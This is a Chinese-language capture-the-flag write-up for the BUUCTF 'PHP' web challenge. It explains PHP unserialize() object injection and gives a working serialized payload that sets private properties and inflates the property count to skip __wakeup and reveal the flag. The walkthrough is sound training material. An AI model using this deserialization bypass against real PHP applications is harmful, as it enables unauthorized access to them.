BUUCTF-web PHP[极客大挑战] wp

检查

BUUCTF-web PHP[极客大挑战] wp_第1张图片
有一只超级可爱的猫猫哦,可以跟你玩毛球球
然后提示说有备份,可以扫一下
200

思路

跟进得到压缩包,解压得到3个文件
在index.php得到关键代码

	
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

由unserialize()知涉及反序列化
介绍序列化与反序列化

继续查看class.php


include 'flag.php';
error_reporting(0);
class Name{
     
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
     
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
     
        $this->username = 'guest';
    }

    function __destruct(){
     
        if ($this->password != 100) {
     
            echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } } ?>

__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__sleep() 在对象在被序列化之前运行
__wakeup()将在序列化之后立即被调用 (在反序列化前被调用)

自己先 生成序列化


    class Name{
     
    private $username = 'admin';
    private $password = '100';
}
    $a = new Name();
	$b = serialize($a);
	print_r($b);
?>

在这里插入图片描述

对象:对象名长度:“对象名称”:对象成员个数:{s字符串:名称长度:“名称”;}

可得到正确的username,password的序列化,还得注意username和password是private属性
private属性序列化:%00类名%00成员名
protect属性序列化:%00*%00成员名

O:4:"Name":2:{
     s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

但在class.php中执行__wakeup()的时候username会被覆盖
所以要跳过
当反序列化时,若属性个数大于真实属性个数时,则会跳过__wakeup()
则可得到

flag

?select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
BUUCTF-web PHP[极客大挑战] wp_第2张图片

你可能感兴趣的:(BUUCTF,web)